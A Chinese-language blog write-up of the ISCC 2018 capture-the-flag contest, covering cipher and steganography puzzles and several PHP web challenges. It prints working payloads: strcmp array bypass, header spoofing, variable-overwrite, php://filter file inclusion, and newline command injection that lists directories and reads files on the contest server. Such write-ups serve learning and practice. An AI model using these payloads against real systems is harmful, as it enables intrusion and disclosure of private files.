Twosmi1e's Blog.

ISCC writeup

Word count: 1,516 / Reading time: 7 min
2018/07/01 Share

ISCC WP

Misc

What is that?

图片隐写给了一张这个图
Alt text

然后看手指指的地方应该就是flag 改高度
Alt text

IHDR后的前八个字节为宽度(第二排00 00 02 72),接下来八个为高度,将高度改为和宽度一样得到flag
Alt text

秘密电报

给了一个txt内容是:
秘密电报:
知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA
刚开始以为是摩斯密码结果没有分割符,直接复制百度,是培根密码然后在线解密得到flag

凯撒十三世

凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。
一看题目肯定有凯撒密码,移位13得到roqtp697t95j3,然后是学会使用键盘,应该是键盘加密,刚开始以为是围成什么图案或者是围起来的字母,后面发现按键盘往下移一排就是flag
得到flag:yougotme

Web

比较数字大小

前端代码控制的直接浏览器改一下maxlength就好了,客户端的限制一般都很好过

1
<input maxlength="3" name="v" type="text">

web01

1
2
3
4
5
6
7
8
9
10
 <?php
highlight_file('2.php');
$flag='{***************}';
if (isset($_GET['password'])) {
if (strcmp($_GET['password'], $flag) == 0)
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

PHP的strcmp漏洞,另一篇博客里面有,传个数组就可以get flag
Alt text

本地的诱惑

Alt text
burp抓包改一下XFW或者HOST就可以了

你能跨过去吗?

Alt text
callback的后面有一串url和base64的编码,把base64那部分解码出来

1
2
ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA
<script>alert("key:/%nsfocusXSStest%/")</scrip

中间的key部分就是答案,我还一直在那里测xss测了半天,没想到这么坑,而且提交的时候只用key冒号后面的内容
Alt text

一切都是套路

Tip:好像有个文件忘记删了
可以想到是后台文件没删或者源码泄露,扫了下后台,试了下svn都没收获。然后py了一下原来是没删txt文件,直接输入http://118.190.152.202:8009/index.php.txt就可以读源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

1
2
foreach()是数组的迭代方法
foreach(array_expression as $key => $value)每次循环中键值也会赋给$key

分析源码,$flag应该是flag.php中的变量就是所找的答案,而最后的一个if语句执行判断,POSTflag后echo出flag,可以通过foreach的变量覆盖绕过,而要得到flag就需要从另一个输出点输出原本的flag变量。

为了方便理解我们在本地修改源码将变量值打印出来

payload1:
Alt text
可以看出第一个foreach里将\$flag的值赋给了\$_200,第二个foreach将上传的flag值赋给\$flag,从而通过后面的if判断,然后die(\$_200)输出flag内容。
payload2:
Alt text
第二种将\$flag的值赋给了\$_403,同时给\$_POST赋一个值使if判断成立输出\$_403,如果只给403赋值的话效果如下
Alt text

你能绕过吗?

Alt text
刚开始看到ID以为是SQL注入,看到f=articles才反应过来读取本地文件应该是文件包含吧(之后应该找个时间总结一下文件包含和php伪协议,挖坑ing)
然后用php://协议
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:

1
2
3
readfile("php://filter/read=convert.base64-encode/resource=php://input");
# payload
http://118.190.152.202:8008/index.php?f=Php://filter/read=convert.base64-encode/resource=index&id=1

Alt text
然后base64解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html> 
<html lang="en">
<head>
<title>?????????</title>
<meta charset="UTF-8">
</head>
<body>
<a href='index.php?f=articles&id=1'>ID: 1</href> </br> <a href='index.php?f=articles&id=2'>ID: 2</href> </br> <a href='index.php?f=articles&id=3'>ID: 3</href> </br> <a href='index.php?f=articles&id=4'>ID: 4</href> </br> </body> </html>

<?php #ISCC{LFIOOOOOOOOOOOOOO}
if(isset($_GET['f'])){
if(strpos($_GET['f'],"php") !== False){
die("error...");
}
else{
include($_GET['f'] . '.php');
}
}
?>

web02

Alt text
跟前面的一道比较类似吧,不过这道加X-Forward-For似乎没有用,加了client-ip后得到flag
Alt text

Please give me username and password!

按提示随便传个用户名和密码
Alt text
然后看注释又是index.php.txt,然后读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

分析一下,username还是用的strcmp判断的,然后password要求长度<4且数值>999,所以payload

1
http://118.190.152.202:8017/?username[]='admin'&password=9e9

Alt text

请ping我的ip 看你能Ping通吗?

开始完全不知道该怎么做,还是太菜了呀,py过后

在get方式下命令执行,过滤| 使用%0a绕过

查看当前目录http://118.190.152.202:8018/index.php?ip=118.190.152.202%0als

查看源代码http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acat%20index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);


$target = str_replace( array_keys( $substitutions ), $substitutions, $target );



if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows

$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}


echo "
{$cmd}
";


?>

查看根目录http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acd%20../../../%0als

一个一个试查看flag在哪里 发现flag在/home/flag

http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acd%20../../../%0acd%20home%0als

http://118.190.152.202:8018/index.php?ip=118.190.152.202%0acd%20../../../%0acd%20home%0acat%20flag

php是世界上最好的语言

CATALOG
  1. 1. ISCC WP
    1. 1.1. Misc
      1. 1.1.1. What is that?
      2. 1.1.2. 秘密电报
      3. 1.1.3. 凯撒十三世
    2. 1.2. Web
      1. 1.2.1. 比较数字大小
      2. 1.2.2. web01
      3. 1.2.3. 本地的诱惑
      4. 1.2.4. 你能跨过去吗?
      5. 1.2.5. 一切都是套路
      6. 1.2.6. 你能绕过吗?
      7. 1.2.7. web02
      8. 1.2.8. Please give me username and password!
      9. 1.2.9. 请ping我的ip 看你能Ping通吗?
      10. 1.2.10. php是世界上最好的语言